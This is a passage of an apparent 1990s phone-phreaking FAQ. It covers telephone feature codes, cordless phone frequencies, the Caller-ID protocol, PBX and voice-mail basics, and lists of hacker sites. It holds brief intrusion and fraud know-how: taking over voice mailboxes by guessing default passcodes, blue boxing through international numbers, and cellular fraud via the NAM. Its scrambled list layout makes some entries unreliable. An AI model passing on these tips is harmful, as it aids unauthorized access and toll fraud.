Call Waiting disable
*70
1170
No Answer Call Transfer
*71
1171
Usage Sensitive 3 way call *71
1171
Call Forwarding: start
*72 or 72#
1172
Call Forwarding: cancel
*73 or 73#
1173
Speed Calling (8 numbers)
*74 or 74#
1174
Speed Calling (30 numbers) *75 or 75#
1175
Anonymous Call Rejection
*77
1177
[5] [M: *58]
Call Screen Disable
*80
1180
(or Call Screen) [M: *50]
Selective Distinct Disable *81
1181
[M: *51]
Select. Acceptance Disable *82
1182
[4] [7]
Select. Forwarding Disable *83
1183
[M: *53]
ICLID Disable
*85
1185
Call Return (cancel out)
*86
1186
[6] [M: *56]
Anon. Call Reject (cancel) *87
1187
[5] [M: *68]
Call Return (cancel in)
1189
[6] [M: *59]
*89
[4]
[4]
Notes:
[C1]
- Means code used for Cellular One service
[1]
- for cellular in Pittsburgh, PA A/C 412 in some areas
[2]
- indicates that you are not local and maybe how to reach you
[3]
- found in Pac Bell territory; Intercom ring causes a distinctive
ring to be generated on the current line; Hold keeps a call
connected until another extension is picked up
[4]
- applied once before each call
[5]
- A.C.R. blocks calls from those who blocked Caller ID
(used in C&P territory, for instance)
[6]
- cancels further return attempts
[7]
- *82 (1182) has been mandated to be the nationwide code for
"Send CLID info regardless of the default setting on this
phone line."
[M: *xx] - alternate code used for MLVP (multi-line variety package)
by Bellcore. It goes by different names in different RBOCs.
In Bellsouth it is called Prestige. It is an arrangement of
ESSEX like features for single or small multiple line groups.
The reason for different codes for some features in MLVP is that
call-pickup is *8 in MLVP so all *8x codes are reassigned *5x
28. What frequencies do cordless phones operate on?
Here are the frequencies for the first generation 46/49mhz phones.
Channel
Handset Transmit
Base Transmit
-------
----------------
-------------
1
49.670mhz
46.610mhz
2
49.845
46.630
3
49.860
46.670
4
49.770
46.710
5
49.875
46.730
6
49.830
46.770
7
49.890
46.830
8
49.930
46.870
9
49.990
46.930
10
49.970
46.970
The new "900mhz" cordless phones have been allocated the frequencies
between 902-228MHz, with channel spacing between 30-100KHz.
Following are some examples of the frequencies used by phones
currently on the market.
---------------------------------------------------------------Panasonic KX-T9000 (60 Channels)
base
902.100 - 903.870 Base frequencies (30Khz spacing)
handset
926.100 - 927.870 Handset frequencies
CH
BASE
HANDSET
CH
BASE
HANDSET
CH
BASE
HANDSET
-- ------- -------
-- ------- -------
-- ------- -------
01 902.100 926.100
11 902.400 926.400
21 902.700 926.700
02 902.130 926.130
12 902.430 926.430
22 902.730 926.730
03 902.160 926.160
13 902.460 926.460
23 902.760 926.760
04 902.190 926.190
14 902.490 926.490
24 902.790 926.790
05 902.220 926.220
15 902.520 926.520
25 902.820 926.820
06 902.250 926.250
16 902.550 926.550
26 902.850 926.850
07 902.280 926.280
17 902.580 926.580
27 902.880 926.880
08 902.310 926.310
18 902.610 926.610
28 902.910 926.910
09 902.340 926.340
19 902.640 926.640
29 902.940 926.940
10 902.370 926.370
20 902.670 926.670
30 902.970 926.970
31 903.000 927.000
41 903.300 927.300
51 903.600 927.600
32 903.030 927.030
42 903.330 927.330
52 903.630 927.630
33 903.060 927.060
43 903.360 927.360
53 903.660 927.660
34 903.090 927.090
44 903.390 927.390
54 903.690 927.690
35 903.120 927.120
45 903.420 927.420
55 903.720 927.720
36 903.150 927.150
46 903.450 927.450
56 903.750 927.750
37 903.180 927.180
47 903.480 927.480
57 903.780 927.780
38 903.210 927.210
48 903.510 927.510
58 903.810 927.810
39 903.240 927.240
49 903.540 927.540
59 903.840 927.840
40 903.270 927.270
50 903.570 927.570
60 903.870 927.870
-----------------------------------------------------------V-TECH TROPEZ DX900 (20 CHANNELS)
905.6 - 907.5
TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING)
925.5 - 927.4
HANDSET FREQUENCIES
CH
BASE
HANDSET
CH
BASE
HANDSET
CH
BASE
HANDSET
-- ------- -------
-- ------- -------
-- ------- -------
01 905.600 925.500
08 906.300 926.200
15 907.000 926.900
02 905.700 925.600
09 906.400 926.300
16 907.100 927.000
03 905.800 925.700
10 906.500 926.400
17 907.200 927.100
04 905.900 925.800
11 906.600 926.500
18 907.300 927.200
05 906.000 925.900
12 906.700 926.600
19 907.400 927.300
06 906.100 926.000
13 906.800 926.700
20 907.500 927.400
07 906.200 926.100
14 906.900 926.800
-----------------------------------------------------------Other 900mhz cordless phones
AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ
OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ
SAMSUNG #SP-R912- - - 903.0
&
927.0 MHZ
------------------------------------------------------------
29. What is Caller-ID?
This FAQ answer is stolen from Rockwell:
Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
customers. It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first 4 second silent interval in the ringing
cycle.
Parameters
~~~~~~~~~~
The data signalling interface has the following characteristics:
Link Type:
2-wire, simplex
Transmission Scheme:
Analog, phase-coherent FSK
Logical 1 (mark)
1200 +/- 12 Hz
Logical 0 (space)
2200 +/- 22 Hz
Transmission Rate:
1200 bps
Transmission Level:
13.5 +/- dBm into 900 ohm load
Protocol
~~~~~~~~
The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.
| Channel |
Carrier | Message |
Message
| Data
| Checksum |
| Seizure |
Signal
| Signal
|
| Type
|
Length
| Word(s)
| Word
|
| Word
|
Word
|
|
|
Channel Seizure Signal
~~~~~~~~~~~~~~~~~~~~~~
The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data
pump).
Carrier Signal
~~~~~~~~~~~~~~
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.
Message Type Word
~~~~~~~~~~~~~~~~~
The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h
(00000100).
Message Length Word
~~~~~~~~~~~~~~~~~~~
The message length word specifies the total number of data words to
follow.
Data Words
~~~~~~~~~~
The data words are encoded in ASCII and represent the following
information:
o
The first two words represent the month
o
The next two words represent the day of the month
o
The next two words represent the hour in local military time
o
The next two words represent the minute after the hour
o
The calling party's directory number is represented by the
remaining
words in the data word field
If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".
Checksum Word
~~~~~~~~~~~~~
The Checksum Word contains the twos complement of the modulo 256 sum
of the other words in the data message (i.e., message type, message
length, and data words). The receiving equipment may calculate the
modulo 256 sum of the received words and add this sum to the received
checksum word.
A result of zero generally indicates that the message
was correctly received.
Message retransmission is not supported.
Example CNS Single Data Message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An example of a received CND message, beginning with the message type
word, follows:
04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51
04h= Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h= Checksum Word
Data Access Arrangement (DAA) Requirements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office. A simple modification to an
existing DAA circuit easily accomplishes the task.
Modem Requirements
~~~~~~~~~~~~~~~~~~
Although the data signalling interface parameters match those of a
Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal.
The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information.
After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset. The host then configures the modem to monitor the phone
line for CND information.
Signalling
~~~~~~~~~~
According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst
Applications
~~~~~~~~~~~~
Once CND information is received the user may process the information
in a number of ways.
1. The date, time, and calling party's directory number can be
displayed.
2. Using a look-up table, the calling party's directory number can be
correlated with his or her name and the name displayed.
3. CND information can also be used in additional ways such as for:
a. Bulletin board applications
b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base
References
~~~~~~~~~~
For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.
To obtain Bellcore documents contact:
Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ
08834-4196
(908) 699-5800
30. How do I block Caller-ID?
Always test as much as possible before relying on any method of blocking
Caller-ID. Some of these methods work in some areas, but not in others.
Dial *67 before you dial the number.
(141 in the United Kingdom)
Dial your local TelCo and have them add Caller-ID block to your line.
Dial the 0 Operator and have him or her place the call for you.
Dial the call using a pre-paid phone card.
Dial through Security Consultants at (900)PREVENT for U.S. calls
($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute).
Dial from a pay phone. :-)
31. What is a PBX?
A PBX is a Private Branch Exchange. A PBX is a small telephone switch
owned by a company or organization. Let's say your company has a
thousand employees. Without a PBX, you would need a thousand phone
lines. However, only 10% of your employees are talking on the phone
at one time.
What if you had a computer that automatically found an
outside line every time one of your employees picked up the telephone.
With this type of system, you could get by with only paying for one
hundred phone lines. This is a PBX.
32. What is a VMB?
A VMB is a Voice Mail Box. A VMB is a computer that acts as an
answering machine for hundreds or thousands of users. Each user will
have their own Voice Mail Box on the system. Each mail box will have
a box number and a pass code.
Without a passcode, you will usually be able to leave messages to
users on the VMB system. With a passcode, you can read messages and
administer a mailbox. Often, mailboxes will exist that were created
by default or are no longer used. These mailboxes may be taken over
by guessing their passcode.
Often the passcode will be the mailbox
number or a common number such as 1234.
33. What are the ABCD tones for?
The ABCD tones are simply additional DTFM tones that may be used in any
way the standard (0-9) tones are used.
The ABCD tones are used in the
U.S. military telephone network (AutoVon), in some Automatic Call
Distributor (ACD) systems, for control messages in some PBX systems, and
in some amateur radio auto-patches.
In the AutoVon network, special telephones are equipped with ABCD keys.
The ABCD keys are defined as such:
A - Flash
B - Flash override priority
C - Priority communication
D - Priority override
Using a built-in maintenance mode of the Automatic Call Distributor
(ACD) systems once used by Directory Assistance operators, you could
connect two callers together.
The purpose of the Silver Box is to create the ABCD tones.
See also "What are the DTMF Frequencies?"
34. What are the International Direct Numbers?
The numbers are used so that you may connect to an operator from a
foreign telephone network, without incurring long distance charges.
These numbers may be useful in blue boxing, as many countries still have
older switching equipment in use.
Australia
(800)682-2878
Austria
(800)624-0043
Belgium
(800)472-0032
Belize
(800)235-1154
Bermuda
(800)232-2067
Brazil
(800)344-1055
British VI
(800)278-6585
Cayman
(800)852-3653
Chile
(800)552-0056
China (Shanghai)
(800)532-4462
Costa Rica
(800)252-5114
Denmark
(800)762-0045
El Salvador
(800)422-2425
Finland
(800)232-0358
France
(800)537-2623
Germany
(800)292-0049
Greece
(800)443-5527
Guam
(800)367-4826
HK
(800)992-2323
Hungary
(800)352-9469
Indonesia
(800)242-4757
Ireland
(800)562-6262
Italy
(800)543-7662
Japan
(800)543-0051
Korea
(800)822-8256
Macau
(800)622-2821
Malaysia
(800)772-7369
Netherlands
(800)432-0031
Norway
(800)292-0047
New Zealand
(800)248-0064
Panama
(800)872-6106
Portugal
(800)822-2776
Philippines
(800)336-7445
Singapore
(800)822-6588
Spain
(800)247-7246
Sweden
(800)345-0046
Taiwan
(800)626-0979
Thailand
(800)342-0066
Turkey
(800)828-2646
UK
(800)445-5667
Uruguay
(800)245-8411
Yugoslavia
(800)367-9842 (Belgrade)
367-9841 (Zagreb)
USA from outside
(800)874-4000 Ext. 107
Section C: Cellular
~~~~~~~~~~~~~~~~~~~
01. What is an MTSO?
MTSO stands for Mobile Telephone Switching Office. The MTSO is the
switching office that connects all of the individual cell towers to the
Central Office (CO).
The MTSO is responsible for monitoring the relative signal strength of
your cellular phone as reported by each of the cell towers, and
switching your conversation to the cell tower which will give you the
best possible reception.
02. What is a NAM?
NAM stands for Number Assignment Module.
The NAM is the EPROM that
holds information such as the MIN and SIDH. Cellular fraud is committed
by modifying the information stored in this component.
03. What is an ESN?
ESN stands for Electronic Serial Number.
The is the serial number of
your cellular telephone.
04. What is an MIN?
MIN stands for Mobile Identification Number. This is the phone number
of the cellular telephone.
05. What is a SCM?
SCM stands for Station Class Mark.
The SCM is a 4 bit number which
holds three different pieces of information. Your cellular telephone
transmits this information (and more) to the cell tower.
Bit 1 of the
SCM tells the cell tower whether your cellphone uses the older 666
channel cellular system, or the newer 832 channel cellular system. The
expansion to 832 channels occured in 1988. Bit 2 tells the cellular
system whether your cellular telephone is a mobile unit or a voice
activated cellular telephone.
Bit's 3 and 4 tell the cell tower what
power your cellular telephone should be transmitting on.
Bit 1:
0 == 666 channels
1 == 832 channels
Bit 2:
0 == Mobile cellular telephone
1 == Voice activated cellular telephone
Bit 3/4: 00 == 3.0 watts (Mobiles)
01 == 1.2 watts (Transportables)
10 == .06 watts (Portables)
11 == Reserved for future use
06. What is a SIDH?
SIDH stands for System Identification for Home System. The SIDH in your
cellular telephone tells the cellular system what area your cellular
service originates from. This is used in roaming (making cellular calls
when in an area not served by your cellular provider).
Every geographical region has two SIDH codes, one for the wireline
carrier and one for the nonwireline carrier. These are the two
companies that are legally allowed to provide cellular telephone service
in that region. The wireline carrier is usually your local telephone
company, while the nonwireline carrier will be another company. The
SIDH for the wireline carrier is always an even number, while the SIDH
for the nonwireline carrier is always an odd number. The wireline
carrier is also known as the Side-B carrier and the non-wireline carrier
is also known as the Side-A carrier.
07. What are the forward/reverse channels?
Forward channels are the frequencies the cell towers use to talk to your
cellular telephone. Reverse channels are the frequencies your cellular
telephone uses to talk to the cell towers.
The forward channel is usually 45 mhz above the reverse channel. For
example, if the reverse channel is at 824 mhz, the forward channel would
be at 869 mhz.
Section D: Resources
~~~~~~~~~~~~~~~~~~~~
01. What are some ftp sites of interest to hackers?
N 204.215.84.2
/pub/dmackey
2600.com
(2600 Magazine)
aeneas.mit.edu
(Kerberos)
alex.sp.cs.cmu.edu
/links/security
asylum.sf.ca.us
(Misc)
(CyberWarriors of Xanadu)
N atari.archive.umich.edu /pub/atari/Utilities/pgp261st.zip (Atari PGP)
athena-dist.mit.edu
/pub/ATHENA
(Athena Project)
atlantis.utmb.edu
(Anti-virus)
bellcore.com
(Bellcore)
cert.org
(CERT)
ciac.llnl.gov
(CIAC)
clark.net
/pub/jcase
(H/P)
cnit.nsk.su
/pub/security
(Security)
coast.cs.purdue.edu
/pub
(Security/COAST)
coombs.anu.edu.au
/pub/security
(Security)
csrc.ncsl.nist.gov
dartmouth.edu
(NIST Security)
/pub/security
ds.internic.net
N dutiws.twi.tudelft.nl
(Internet documents)
/pub/novell
etext.archive.umich.edu /pub/Zines/PrivateLine
N fastlane.net
(Security)
(PrivateLine)
/pub/nomad
ftp.3com.com
/pub/Orange-Book
(Orange Book)
ftp.acns.nwu.edu
/pub
(Mac Anti-virus)
ftp.acsu.buffalo.edu
/pub/security & /pub/irc
(Security & IRC)
ftp.alantec.com
/pub/tcpr
(Tcpr)
ftp.armory.com
/pub/user/kmartind
(H/P)
ftp.armory.com
/pub/user/swallow
(H/P)
ftp.auscert.org.au
/pub
(Australian CERT)
ftp.cerf.net
/pub/software/unix/security
(CERFnet)
ftp.cert.dfn.de
(FIRST)
ftp.cisco.com
(Cisco)
ftp.commerce.net
/pub/standards/drafts/shttp.txt (Secure HyperText)
ftp.cs.colorado.edu
ftp.cs.ruu.nl
/pub/SECURITY
(Security & PGP)
ftp.cs.uwm.edu
/pub/comp-privacy
(Privacy Digest)
ftp.cs.vu.nl
ftp.cs.yale.edu
ftp.csi.forth.gr
/pub/security
ftp.csl.sri.com
/pub/nides
ftp.csn.org /mpj
ftp.csua.berkeley.edu
(SRI)
(Cryptology)
/pub/cypherpunks
(Crypto)
/pub/misc/0800num.txt
(0800/0500 numbers)
ftp.delmarva.com
N ftp.demon.co.uk
ftp.denet.dk
/pub/security/tools/satan
ftp.digex.net
/pub/access/dunk
ftp.dsi.unimi.it
/pub/security/crypt
ftp.dstc.edu.au
/pub/security/satan
(Crypto)
ftp.ee.lbl.gov
ftp.eff.org
/pub/Publications/CuD
(EFF)
ftp.elelab.nsc.co.jp
/pub/security
(Security)
ftp.etext.org
(Etext)
ftp.fc.net
/pub/deadkat
(TNO)
ftp.fc.net
/pub/defcon
(DefCon)
ftp.fc.net
/pub/defcon/BBEEP
(BlueBeep)
ftp.fc.net
/pub/phrack
(Phrack)
ftp.foobar.com
ftp.funet.fi
/pub/doc/CuD
ftp.gate.net
/pub/users/laura
ftp.gate.net
/pub/users/wakko
ftp.giga.or.at
/pub/hacker/
(H/P)
ftp.greatcircle.com
/pub/firewalls
(Firewalls)
ftp.IEunet.ie
/pub/security
(Security)
ftp.ifi.uio.no
ftp.indirect.com
/www/evildawg/public_access/C&N/
ftp.info.fundp.ac.be
ftp.informatik.uni-hamburg.de
ftp.informatik.uni-kiel.de /pub/sources/security
ftp.inoc.dl.nec.com
/pub/security
(Security)
/users/oracle/
(H/P
ftp.isi.edu
ftp.lava.net
N ftp.leo.org/pub/com/os/os2/crypt
ftp.lerc.nasa.gov
/security
ftp.llnl.gov
/pub
ftp.luth.se
/pub/unix/security
(CIAC)
ftp.lysator.liu.se
ftp.mcs.anl.gov
/pub/security
ftp.microserve.net
/ppp-pop/strata/mac
(Mac)
ftp.near.net
/security/archives/phrack
(Zines)
ftp.nec.com
ftp.net.ohio-state.edu /pub/security/satan
ftp.netcom.com
/pub/br/bradleym
(Virii)
ftp.netcom.com
/pub/da/daemon9
(H/P)
ftp.netcom.com
/pub/fi/filbert
N ftp.netcom.com
/pub/gr/grady
N ftp.netcom.com
/pub/il/illusion
(H/P+Virus)
N ftp.netcom.com
/pub/je/jericho
(H/P)
/pub/le/lewiz
(Social Engineering)
/pub/ty/tym
(TYM)
ftp.netcom.com
/pub/va/vandal
(DnA)
ftp.netcom.com
/pub/wt/wtech/
ftp.netcom.com
N ftp.netcom.com
N ftp.netcom.com
/pub/zi/zigweed
(H/P)
/pub/zz/zzyzx
(H/P)
ftp.ocs.mq.edu.au
/PC/Crypt
(Cryptology)
ftp.ox.ac.uk
/pub/comp/security
ftp.ox.ac.uk
/pub/crypto
(Cryptology)
ftp.ox.ac.uk
/pub/wordlists
(Wordlists)
ftp.paranoia.com
/pub/toneloc/tl110.zip
(ToneLoc)
/pub/areacode
(uk areacodes)
ftp.netcom.com
ftp.netsys.com
N ftp.pipex.net
ftp.pop.psu.edu
ftp.primenet.com
/users/i/insphrk
ftp.primenet.com
/users/k/kludge
(H/P)
ftp.primenet.com
/users/s/scuzzy
(Copy Protection)
ftp.primus.com
/pub/security
(Security)
ftp.psy.uq.oz.au
ftp.psy.uq.oz.au
/pub/DES
ftp.rahul.net
/pub/conquest/DeadelviS/script/vms/
ftp.rahul.net
/pub/lps
(Home of the FAQ)
ftp.sert.edu.au
ftp.sgi.com
N ftp.smartlink.net
/pub/users/mikes/haq
ftp.std.com
/archives/alt.locksmithing
(Locksmithing)
ftp.std.com
/obi/Mischief/
(MIT Guide to Locks)
ftp.std.com
/obi/Phracks
(Zines)
ftp.sunet.se
/pub/network/monitoring
(Ethernet sniffers)
ftp.sura.net
/pub/security
(SURAnet)
/pub
(TIS)
ftp.technet.sg
U ftp.technion.ac.il
ftp.tis.com
ftp.tisl.ukans.edu
/pub/security
ftp.uni-koeln.de
(Wordlists)
ftp.uspto.gov
ftp.uu.net
/doc/literary/obi/Phracks
(Zines)
ftp.uwp.edu
/pub/dos/romulus/cracks
(Copy Protection)
ftp.warwick.ac.uk
/pub/cud
(Zines)
ftp.wi.leidenuniv.nl
/pub/security
ftp.win.tue.nl
/pub/security
(Security)
ftp.winternet.com
/users/nitehwk
(H/P)
ftp.wustl.edu
/doc/EFF
(EFF)
ftp.vis.colostate.edu
ftp.vix.com
ftp.vortex.com
ftp.zoom.com
ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto
(Cryptology)
garbo.uwasa.fi
(Cryptology)
N gemini.tuc.noao.edu
gti.net
/pc/crypt
/pub/grandi
/pub/safetynet
gumby.dsd.trw.com
hack-this.pc.cc.cmu.edu
(Down for Summer)
heffer.lab.csuchico.edu
(Third Stone From The Sun)
hplyot.obspm.fr
info.mcs.anl.gov
N infonexus.com
/pub
(The Guild)
jerico.usc.edu
l0pht.com
lcs.mit.edu
(The L0pht)
/telecom-archives
lod.com
(Telecom archives)
(Legion of Doom)
mac.archive.umich.edu
mary.iia.org
/pub/users/patriot
(Misc)
monet.ccs.itd.umich.edu
N net-dist.mit.edu
/pub/pgp
net.tamu.edu
/pub/security/TAMU
(Security)
net23.com
/pub
(Max Headroom)
nic.ddn.mil
/scc
(DDN Security)
nic.sura.net
/pub/security
oak.oakland.edu
/pub/hamradio
(Ham Radio)
oak.oakland.edu
/SimTel/msdos/sound
(DTMF decoders)
oak.oakland.edu
/SimTel/msdos/sysutil
(BIOS attackers)
prism.nmt.edu
/pub/misc
(Terrorist Handbook)
pyrite.rutgers.edu
/pub/security
(Security)
relay.cs.toronto.edu
/doc/telecom-archives
(Telecom)
rena.dit.co.jp
/pub/security
(Security)
research.att.com
/dist/internet_security
(AT&T)
ripem.msu.edu
/pub/crypt
(Ripem)
/pub2/KRaD
(KRaD Magazine)
parcftp.xerox.com
N rmii.com
rtfm.mit.edu
(Etext)
rtfm.mit.edu
/pub/usenet-by-group
(Usenet FAQ's)
scss3.cl.msu.edu
/pub/crypt
(Cryptology)
/Security
(SGI Security)
N sgigate.sgi.com
sierra.stanford.edu
spy.org
N src.doc.ic.ac.uk
suburbia.apana.org.au
(CSC)
/usenet/uk.telecom
(uk.telecom archives)
/pub/unix/security
(Security)
sunsolve1.sun.com
theta.iis.u-tokyo.ac.jp /pub1/security
(Security)
titania.mathematik.uni-ulm.de /pub/security
(Security)
toxicwaste.mit.edu
(Breaking RSA)
/pub/rsa129/README
ugle.unit.no
unipc20.unimed.sintef.no
vic.cc.purdue.edu
vixen.cso.uiuc.edu
/security
N web.mit.edu
whacked.l0pht.com
wimsey.bc.ca
N wuarchive.wustl.edu
(Mac + H/P)
/pub/crypto
/pub/aminet/util/crypt
02. What are some fsp sites of interest to hackers?
None at this time.
(Cryptology)
03. What are some newsgroups of interest to hackers?
alt.2600
Do it 'til it hertz
N alt.2600hz
N alt.2600.codez
N alt.2600.debate
N alt.2600.moderated
alt.cellular
alt.cellular-phone-tech
Brilliant telephony mind blow netnews naming
alt.comp.virus
An unmoderated forum for discussing viruses
alt.comp.virus.source.code
alt.cracks
Heavy toolbelt wearers of the world, unite
alt.cyberpunk
High-tech low-life.
alt.cyberspace
Cyberspace and how it should work.
alt.dcom.telecom
Discussion of telecommunications technology
alt.engr.explosives
[no description available]
alt.fan.kevin-mitnick
alt.fan.lewiz
Lewis De Payne fan club
alt.hackers
Descriptions of projects currently under development
alt.hackintosh
alt.locksmithing
You locked your keys in *where*?
alt.hackers.malicious
The really bad guys - don't take candy from them
alt.ph.uk
United Kingdom version of alt.2600
alt.privacy.anon-server
Tech. & policy matters of anonymous contact servers
alt.radio.pirate
Hide the gear, here comes the magic station-wagons.
alt.radio.scanner
Discussion of scanning radio receivers.
alt.satellite.tv.europe
All about European satellite tv
alt.security
Security issues on computer systems
alt.security.index
Pointers to good stuff in misc.security (Moderated)
alt.security.keydist
Exchange of keys for public key encryption systems
alt.security.pgp
The Pretty Good Privacy package
alt.security.ripem
A secure email system illegal to export from the US
comp.dcom.cellular
[no description available]
comp.dcom.telecom
Telecommunications digest (Moderated)
comp.dcom.telecom.tech
[no description available]
comp.org.cpsr.announce
Computer Professionals for Social Responsibility
comp.org.cpsr.talk
Issues of computing and social responsibility
comp.org.eff.news
News from the Electronic Frontiers Foundation
comp.org.eff.talk
Discussion of EFF goals, strategies, etc.
N comp.os.netware.security Netware Security issues
comp.protocols.kerberos
The Kerberos authentification server
comp.protocols.tcp-ip
TCP and IP network protocols
comp.risks
Risks to the public from computers & users
comp.security.announce
Announcements from the CERT about security
N comp.security.firewalls
Anything pertaining to network firewall security
comp.security.misc
Security issues of computers and networks
comp.security.unix
Discussion of Unix security
comp.virus
Computer viruses & security (Moderated)
de.org.ccc
Mitteilungen des CCC e.V.
misc.security
Security in general, not just computers (Moderated)
rec.pyrotechnics
Fireworks, rocketry, safety, & other topics
rec.radio.scanner
[no description available]
rec.video.cable-tv
Technical and regulatory issues of cable television
sci.crypt
Different methods of data en/decryption
04. What are some telnet sites of interest to hackers?
anarchy-online.com
ntiabbs.ntia.doc.gov
(NTIA)
l0pht.com
(The L0pht)
sfpg.gcomm.com
(The Floating Pancreas)
telnet lust.isca.uiowa.edu 2600
(underground bbs) (temporarily down)
pcspm2.dar.csiro.au
(Virtual Doughnutland BBS)
prince.carleton.ca 31337
(Twilight of The Idols)
N spy.org
(Computer Systems Consulting)
05. What are some gopher sites of interest to hackers?
ba.com
(Bell Atlantic)
N cell-relay.indiana.edu (Cell Relay Retreat)
csrc.ncsl.nist.gov
(NIST Security Gopher)
gopher.acm.org
(SIGSAC (Security, Audit & Control))
gopher.cpsr.org
(Computer Professionals for Social Responsibility)
gopher.eff.org
(Electonic Frontier Foundation)
N gopher.panix.com
(Panix)
gw.PacBell.com
(Pacific Bell)
iitf.doc.gov
(NITA -- IITF)
N info.itu.ch
(International Telegraph Union)
ncjrs.aspensys.com
(National Criminal Justice Reference Service)
oss.net
(Open Source Solutions)
spy.org
(Computer Systems Consulting)
wiretap.spies.com
(Wiretap)
06. What are some World wide Web (WWW) sites of interest to hackers?
N 134.220.198.66:8000
(Peter Strangman's)
U alcuin.plymouth.edu/~jay/underground.html
(Underground Links)
U all.net
(American Society for Industrial Security Management)
alumni.caltech.edu/~dank/isdn/
N asearch.mccmedia.com/www-security.html
(ISDN)
(WWW-security info)
aset.rsoc.rockwell.com
(NASA/MOD AIS Security)
aset.rsoc.rockwell.com/exhibit.html
(Tech. for Info Sec)
att.net/dir800
(800 directory)
ausg.dartmouth.edu/security.html
(UNIX Security Topics)
N bianca.com/bump/ua
(Unauthorized Access Home Page)
N ccnga.uwaterloo.ca/~jscouria/gsm.html
(GSM Specification)
N cell-relay.indiana.edu/cell-relay
(Cell Relay Retreat)
N ciac.llnl.gov
(CIAC Web Site)
N community.net/community/all/home/solano/sbaldwin
N cs.purdue.edu/homes/spaf/coast.html
(The COAST Project and Laboratory)
N csbh.mhv.net/dcypher/home.html
(Dcypher's Home Page)
N csrc.ncsl.nist.gov
(NIST)
N cwix.com/cwplc
(Cable and Wireless)
daemon.apana.org.au/~longi/
N dcpu1.cs.york.ac.uk:6666/fisher/telecom
(Embryonic Telephone History Page)
N dfw.net/~aleph1
(The Uebercracker's Security Web)
N draco.centerline.com:8080/~franl/crypto.html (Crypto)
N draco.centerline.com:8080/~franl/privacy/bacard-review.html
N enigma.pc.cc.cmu.edu/~caffeine/home.html
(Caffeine's Home Page)
N everest.cs.ucdavis.edu/Security.html
(UCDavis.edu Security Page)
N everest.cs.ucdavis.edu/slides/slides.html
(Security Lab Slides)
ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR)
N fastlane.net/homepages/thegnome
(Simple Nomad)
N first.org
(FIRST)
N freeside.com/phrack.html
(Phrack Magazine)
N frosted.mhv.net/keytrap.html
N ftp.arpa.mil
ftp.tamu.edu/~abr8030/security.html
(ARPA home page)
(Security)
N grove.ufl.edu/~bytor
(Bytor home page)
N hightop.nrl.navy.mil/potpourri.html
(MOD Security)
N hightop.nrl.navy.mil/rainbow.html
(MOD Rainbow Books)
ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)
ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)
info.bellcore.com/BETSI/betsi.html
(Betsi)
N info.gte.com
(GTE Labrotories)
N info.mcc.ac.uk/Orange
(Orange)
infosec.nosc.mil/infosec.html
(SPAWAR INFOSEC)
N infosec.nosc.mil/navcirt.html
(NAVCIRT)
N iss.net/iss
(Internet Security Systems)
N jumper.mcc.ac.uk/~afs/telecom
(UK Telecom Pricing Information)
l0pht.com
(The l0pht)
l0pht.com/~oblivion/IIRG.html
(Phantasy Magazine)
N l0pht.com/~spacerog/index.html
(Whacked Mac Archives)
N lcs.mit.edu/telecom-archives/areacodes/guide (North American Area Codes)
N lcs.mit.edu/telecom-archives/npa.800
(1-800 Info)
N lcs.mit.edu/telecom-archives/npa.900
(1-900 Info)
N lod.com
(Legion of Doom)
N lod.com/~gatsby
(Gatsby)
N lod.com/~tabas
(Mark Tabas -- LOD)
N lod.com/~vampire/emptime7
(Empire Times)
N magicnet.net/xtabi/netscape/links/cypher.html (Cryptology)
N mars.superlink.net/user/esquire
(Red box info)
matrix.resnet.upenn.edu/rourke
(FakeMail FAQ)
mindlink.jolt.com
(The Secrets of LockPicking)
N mindlink.net/A7657
mls.saic.com
N
(Stephen H Kawamoto's Home Page)
(SAIC MLS)
mnementh.cs.adfa.oz.au/Lawrie_Brown.html
(Lawrie
Brown's
crypto
bibliography)
motserv.indirect.com
(Motorola)
U naic.nasa.gov/fbi
(FBI information)
U nasirc.nasa.gov/NASIRC_home.html
(NASIRC)
obscura.com/~loki/
(Cryptology)
ophie.hughes.american.edu/~ophie
(Ophie)
oregano.sl.pitt.edu/index.htm
N outpost.callnet.com/outpost.html
pages.ripco.com:8080/~glr/glr.html
(Full Disclosure)
U peg.pegasus.oz.au
(EFF Australia)
N quetel.qc.ca/qt0000ag.htm
(Quebec-Telephone)
N resudox.net/bio/mainpage.html
(BioHazard's Home Page)
